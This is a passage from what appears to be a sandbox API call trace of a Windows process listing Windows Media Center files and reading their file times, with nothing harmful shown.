dwReserved1=0x3, cFileName="ehcmres.dll", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x648dfb36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x648dfb36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehdebug.dll", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807a1925, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x807a1925, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4d400, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehdrop.dll", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aac7a5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x81aac7a5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehentt.dll", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6568f8a2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6568f8a2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehepgnet.dll", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x678a10d3, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x678a10d3, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x23152d30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehepgres.dll", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f62289, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f62289, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f62289, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehexthost.exe", cAlternateFileName="")) returned 1 [0253.094] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8981699d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x8981699d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x87e7fdc9, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehexthost.exe.config", cAlternateFileName="")) returned 1 [0253.094] AreFileApisANSI () returned 1 [0253.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0253.094] AreFileApisANSI () returned 1 [0253.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0253.095] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.095] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.095] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.095] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.095] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.095] CloseHandle (hObject=0x1f0) returned 1 [0253.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.095] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.095] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa325be0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa325be0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3281f6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb9400, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehglid.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9bdcab, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x93e3e400, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xdee77625, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiActivScp.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1fdae2, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x947c7a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xde98e8c5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiBmlDataCarousel.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e6f9e4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf509b880, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3dd58ae5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiExtens.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x963808b5, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x947c7a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda5451a5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiiTV.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3471152, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3471152, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3471152, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiProxy.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f35d588, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6f35d588, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15c9f050, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehitvhost.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcddbe695, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x95151100, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda5451a5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiTVMSMusic.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x982e485c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x95151100, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda9496c5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiUPnP.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2661ace4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf509b880, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x4b961c85, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiUserXp.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1d1064, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf5a24f00, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x53c27525, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiVidCtl.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29590384, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf5a24f00, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x58e92ee5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiwmp.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2705ebc4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf5a24f00, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x9ff59945, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehiWUapi.dll", cAlternateFileName="")) returned 1 [0253.096] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c644c5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x80c644c5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15c9f050, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehjpnime.dll", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870a9b9f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x870a9b9f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15cc6150, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehkorime.dll", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae67162, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ae67162, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehmsas.exe", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa325be0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa325be0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa325be0f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehPresenter.dll", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3046acb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3046acb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3046acb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehprivjob.exe", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6284b0a7, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6284b0a7, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15d5d730, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehProxy.dll", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea703bc, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ea703bc, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe19debb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehrec.exe", cAlternateFileName="")) returned 1 [0253.097] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85907415, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x4, dwReserved1=0x0, cFileName="ehRec.exe.config", cAlternateFileName="")) returned 1 [0253.097] AreFileApisANSI () returned 1 [0253.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0253.097] AreFileApisANSI () returned 1 [0253.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0253.098] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.098] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.098] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.098] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.098] CloseHandle (hObject=0x1f0) returned 1 [0253.098] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0253.098] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.098] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa338c911, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa338c911, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33b2a71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehRecObj.dll", cAlternateFileName="")) returned 1 [0253.098] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaa200, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehrecvr.exe", cAlternateFileName="")) returned 1 [0253.099] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85dc9fb5, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehRecvr.exe.config", cAlternateFileName="")) returned 1 [0253.099] AreFileApisANSI () returned 1 [0253.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0253.099] AreFileApisANSI () returned 1 [0253.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0253.099] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.099] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.099] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.099] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.099] CloseHandle (hObject=0x1f0) returned 1 [0253.100] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.100] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.100] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a507b7f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8a507b7f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15d84830, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x65800, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehReplay.dll", cAlternateFileName="")) returned 1 [0253.100] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4d1c7f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xbc4d1c7f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x2ab059c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1526800, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehres.dll", cAlternateFileName="")) returned 1 [0253.100] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b01f3, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x702b01f3, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1c41150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehsched.exe", cAlternateFileName="")) returned 1 [0253.100] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85f46d57, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehSched.exe.config", cAlternateFileName="")) returned 1 [0253.100] AreFileApisANSI () returned 1 [0253.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0253.100] AreFileApisANSI () returned 1 [0253.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0253.101] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.101] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.101] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.101] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 